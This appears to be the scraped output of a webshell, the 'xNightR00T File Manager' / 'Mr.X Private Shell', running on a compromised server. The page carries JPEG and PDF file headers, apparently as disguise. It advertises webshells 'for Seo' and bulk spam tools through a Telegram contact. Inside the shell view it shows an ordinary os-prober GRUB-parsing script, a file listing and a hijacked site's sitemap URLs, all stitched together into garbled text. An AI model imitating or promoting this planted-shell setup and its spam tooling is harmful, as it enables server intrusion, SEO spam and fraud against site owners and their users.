xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/sh
. /usr/share/os-prober/common.sh
set -e

# add support for btrfs with no separate /boot
# that is, rootsv = bootsv
partition="$1"
bootpart="$2"
mpoint="$3"
type="$4"
rootsv="$5"
bootsv="$6"

found_item=0

entry_result () {
	if [ "x$type" = "xbtrfs" ]; then
		bsv=${bootsv:+/}${bootsv}
		# if path is not relative to subvolume make it relative
		kernel=${kernel#${bsv}}
		kernelfile=$kernel
		initrd=${initrd#${bsv}}
		if [ "x$GRUB_FS" != "xbtrfs" -o "x${SUSE_BTRFS_SNAPSHOT_BOOTING}" != "xtrue" ]; then
		    # absolute path needed: prepend subvolume if $kernel isn't empty
		    kernel=${kernel:+${bsv}}${kernel}
		    initrd=${initrd:+${bsv}}${initrd}
		fi
		# assumed: rootsv != bootsv if rootsv isn't ancestor of bootsv
		[ "$partition" != "$bootpart" -o "$rootsv" != "$bootsv" ] && kernelfile="/boot${kernelfile}"
	else
		kernelfile=$kernel
	fi
	if [ "$ignore_item" = 0 ] && \
	   [ -n "$kernel" ] && \
	   [ -e "$mpoint/$kernelfile" ]; then
		result "$rootpart:$bootpart:$title:$kernel:$initrd:$parameters"
		found_item=1
	fi
	kernel=""
	parameters=""
	initrd=""
	title=""
	ignore_item=0
}

parse_grub_menu () {
	mpoint="$1"
	rootpart="$2"
	bootpart="$3"
	
	kernel=""
	parameters=""
	initrd=""
	title=""
	ignore_item=0

	while read line; do
		debug "parsing: $line"
		set -f
		set -- $line
		set +f
		case "$1" in
			menuentry)
				entry_result
				shift 1
				# Currently GRUB2 puts translated strings
				# in grub.cfg, so checking for verbatim
				# (on /dev/.*) will fail if target grub.cfg
				# was created in non-English locale. Extract
				# menu entry ID and check if it starts with
				# "osprober-"
				id="$(echo "$line" | sed -n 's/^.*[[:space:]]\+\(\$menuentry_id_option\|--id\)[[:space:]]\+\([^[:space:]]\+\).*$/\2/p')"
				# The double-quoted string is the title.
				# Make sure to look at the text of the line
				# before 'set' mangled it.
				title="$(echo "$line" | sed -n 's/[^"]*"\(.*\)".*/\1/p' | sed 's/://g')"
				if [ -z "$title" ]; then
					# ... or single-quoted?  Be careful
					# to handle constructions like
					# 'foo'\''bar' (which expands to
					# foo'bar, as in shell), and to
					# handle multiple single-quoted
					# strings on the same line.
					title="$(echo "$line" | sed -n "s/[^']*'\(\([^']\|'\\\\''\)*\)'.*/\1/p" | sed "s/'\\\\''/'/; s/://g")"
				fi
				if [ -z "$title" ]; then
					ignore_item=1
				elif echo "$title" | grep -q '(on /dev/[^)]*)$' || echo "$id" | grep -q "^\([\"']\|\)osprober-"; then
					log "Skipping entry '$title':"
					log "appears to be an automatic reference taken from another grub.cfg"
					ignore_item=1
				fi
			;;
			linux|linuxefi|linux16)
				# Hack alert: sed off any (hdn,n) but
				# assume the kernel is on the same
				# partition.
				kernel="$(echo "$2" | sed 's/(.*)//')"
				shift 2
				parameters="$@"
				# Systems with a separate /boot will not have
				# the path to the kernel in grub.cfg.
				if [ "$partition" != "$bootpart" -a "$type" != "btrfs" ]; then
					kernel="/boot$kernel"
				fi
			;;
			initrd|initrdefi|initrd16)
				initrd="$(echo "$2" | sed 's/(.*)//')"
				# Initrd same.
				if [ "$partition" != "$bootpart" -a "$type" != "btrfs" ]; then
					initrd="/boot$initrd"
				fi
			;;
			"}")
				entry_result
			;;
		esac
	done

	entry_result
}

if [ -e "$mpoint/boot/grub/grub.cfg" ] && \
   ([ ! -e "$mpoint/boot/grub/menu.lst" ] || \
    [ "$mpoint/boot/grub/grub.cfg" -nt "$mpoint/boot/grub/menu.lst" ]); then
	debug "parsing grub.cfg"
	parse_grub_menu "$mpoint" "$partition" "$bootpart" < "$mpoint/boot/grub/grub.cfg"
elif [ -e "$mpoint/boot/grub2-efi/grub.cfg" ]; then
	debug "parsing grub.cfg"
	parse_grub_menu "$mpoint" "$partition" "$bootpart" < "$mpoint/boot/grub2-efi/grub.cfg"
elif [ -e "$mpoint/boot/grub2/grub.cfg" ]; then
	debug "parsing grub.cfg"
	parse_grub_menu "$mpoint" "$partition" "$bootpart" < "$mpoint/boot/grub2/grub.cfg"
fi

if [ "$found_item" = 0 ]; then
	exit 1
else
	exit 0
fi

Filemanager

Name Type Size Permission Actions
40grub File 2.22 KB 0755
40grub2 File 3.84 KB 0755
50lilo File 2.28 KB 0755
90fallback File 1.95 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml